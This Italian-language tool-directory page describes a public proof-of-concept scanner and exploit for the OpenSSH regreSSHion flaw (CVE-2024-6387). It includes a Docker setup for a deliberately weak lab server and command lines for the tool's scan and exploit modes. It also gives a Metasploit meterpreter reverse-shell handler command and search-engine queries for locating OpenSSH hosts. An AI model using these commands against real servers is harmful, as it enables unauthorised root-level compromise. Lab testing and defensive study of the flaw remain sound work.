Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-6387_PoC — Scansiona e sfrutta CVE-2024-6387 (regreSSHion) nei server OpenSSH. Include scansione multi-thread, recupero del banner, rilevamento del tempo di grazia e modalità di exploit con payload di reverse shell. | Kitploit
Strumenti/GitHubGitHub/yassdev221608/cve-2024-6387_poc
Scanner di VulnerabilitàExploitSicurezza di RetePenetration TestingStrumento di Accesso Remoto
GitHubyassdev221608/cve-2024-6387_poc

CVE-2024-6387_PoC

Scansiona e sfrutta CVE-2024-6387 (regreSSHion) nei server OpenSSH. Include scansione multi-thread, recupero del banner, rilevamento del tempo di grazia e modalità di exploit con payload di reverse shell.

Vedi Repository
179371 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Riepilogo

Si tratta essenzialmente di una vulnerabilità statistica: è necessario un numero elevato di tentativi per vincere la race condition ed eseguire con successo codice arbitrario. Gli attaccanti devono superare molti ostacoli, ha dichiarato Schwartz a SecurityWeek. "Anche nello scenario migliore, la vulnerabilità più nota richiede oltre 4 ore per essere sfruttata."

Nelle note di rilascio di OpenSSH 9.8, gli sviluppatori hanno osservato che la vulnerabilità è stata confermata solo su sistemi Linux a 32 bit basati su glibc, e che OpenBSD non è interessato.

Configurazione dell'ambiente

L'ambiente viene configurato utilizzando Docker.

1. Scrittura del Dockerfile

# 1.1. Scrittura del Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
    build-essential \
    wget \
    curl \
    libssl-dev:i386 \
    zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
    tar -xzf openssh-9.2p1.tar.gz && \
    cd openssh-9.2p1 && \
    ./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
    sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
    echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
    chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]

2. Creazione dell'immagine Docker

sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .

3. Esecuzione del container Docker

sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1

openssh CVE-2024-6387.py - PoC

Note importanti!!!

Lo exploit funziona SOLO per server OpenSSH a 32 bit. Questo è dovuto al fatto che il PoC utilizza puntatori a 32 bit! È inoltre noto che alcune versioni sono già state corrette e non tutti i server sono vulnerabili. Testato su: Kali Linux, ParrotSec, Ubuntu 22.04

📜 Descrizione

Vulnerabilità di esecuzione di codice arbitrario remota non autenticata nel server OpenSSH

CVE-2024-6387.py è uno strumento leggero ed efficiente progettato per identificare server che eseguono versioni vulnerabili di OpenSSH, mirando specificamente alla vulnerabilità regreSSHion scoperta di recente (CVE-2024-6387). Questo script facilita la scansione rapida di più indirizzi IP, nomi di dominio e intervalli di rete CIDR per rilevare potenziali vulnerabilità e garantire la sicurezza della propria infrastruttura.

È stata trovata una race condition nel gestore dei segnali del server OpenSSH (sshd), in cui un client non si autentica entro LoginGraceTime secondi (120 di default, 600 nelle vecchie versioni di OpenSSH), quindi il gestore SIGALRM di sshd viene chiamato in modo asincrono. Tuttavia, questo gestore dei segnali chiama varie funzioni che non sono async-signal-safe, ad esempio syslog().

📁 Indice dei contenuti

  • 📖 Dettagli
  • 🌟 Funzionalità
  • ⚙️ Utilizzo
  • O Output
  • 🔍 Scoperta degli host
  • 🛠️ Mitigazione
  • 💁 Riferimenti
  • 📌 Autore
  • 📢 Disclaimer

✍🏻 Dettagli

Puoi trovare i dettagli tecnici qui.

La falla, scoperta dai ricercatori di Qualys nel maggio 2024 e a cui è stato assegnato l'identificatore CVE-2024-6387, è dovuta a una race condition nel gestore dei segnali di sshd che consente ad attaccanti remoti non autenticati di eseguire codice arbitrario come root.

"Se un client non si autentica entro LoginGraceTime secondi (120 di default), allora il gestore SIGALRM di sshd viene chiamato in modo asincrono e chiama varie funzioni che non sono async-signal-safe",

"Un attaccante remoto non autenticato può sfruttare questa falla per eseguire codice arbitrario con privilegi di root."

🌟 Funzionalità

  • Scansione rapida: Scansiona rapidamente più indirizzi IP, nomi di dominio e intervalli CIDR per la vulnerabilità CVE-2024-6387.
  • Recupero banner: Recupera in modo efficiente i banner SSH senza autenticazione.
  • Rilevamento del tempo di grazia: Rileva opzionalmente se i server hanno mitigato le vulnerabilità utilizzando l'impostazione LoginGraceTime.
  • Supporto IPv6: Supporta completamente gli indirizzi IPv6 sia per la scansione diretta che basata su nome host.
  • Multi-threading: Utilizza il threading per controlli concorrenti, riducendo significativamente i tempi di scansione.
  • Output dettagliato: Fornisce un output chiaro e codificato con emoji che riassume i risultati della scansione.
  • Controllo delle porte: Identifica le porte chiuse e fornisce un riepilogo degli host non reattivi.
  • Rilevamento delle versioni corrette: Riconosce ed esclude le versioni corrette note dai report di vulnerabilità.

⚙️ Utilizzo

Scansione del server OpenSSH

Requisito: python3 aggiornato

### Argomenti della riga di comando
mode: Seleziona la modalità di funzionamento. Le scelte sono scan o exploit.
-T, --targets: Indirizzi IP, nomi di dominio, percorsi di file contenenti indirizzi IP o intervalli di rete CIDR.
-f, --outputfile: File in cui salvare i risultati (ad es., result.json).
-g, --gracetimecheck: Tempo in secondi da attendere dopo l'identificazione della versione per verificare la mitigazione LoginGraceTime (default: 120 secondi).
-n, --nic: NIC di rete (default: 'eth0').
-o, --output: Formato di output per i risultati (scelte: 'csv', 'txt', 'json').
-p, --port: Numero di porta da controllare o sfruttare (default: 22).
-s, --speed: Numero di thread per aumentare le possibilità di race condition (default: 10).
-t, --timeout: Timeout di connessione in secondi (default: 1 secondo).
-H, --resolve-hostnames: Risolvi i nomi host

Esempi

Scansione di un singolo URL/IP

python3 CVE-2024-6387.py scan -T example.com -p 22

Esecuzione dello exploit su un dominio / IP

python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0

Processo di escalation

Ricezione del payload

Tutto ciò che devi fare è eseguire prima il comando seguente (cambia il gestore {yourip}) ed eseguire lo exploit successivamente con il comando sopra

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"

Output

Lo strumento fornisce un output codificato a colori sulla console per una migliore leggibilità:

Verde: Connessione o operazione riuscita. Rosso: Connessione fallita o errore. Giallo: Avvisi o informazioni degne di nota. Ciano: Informazioni generali o aggiornamenti di stato.

🔍 Scoperta degli host

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access
Scarica lo strumento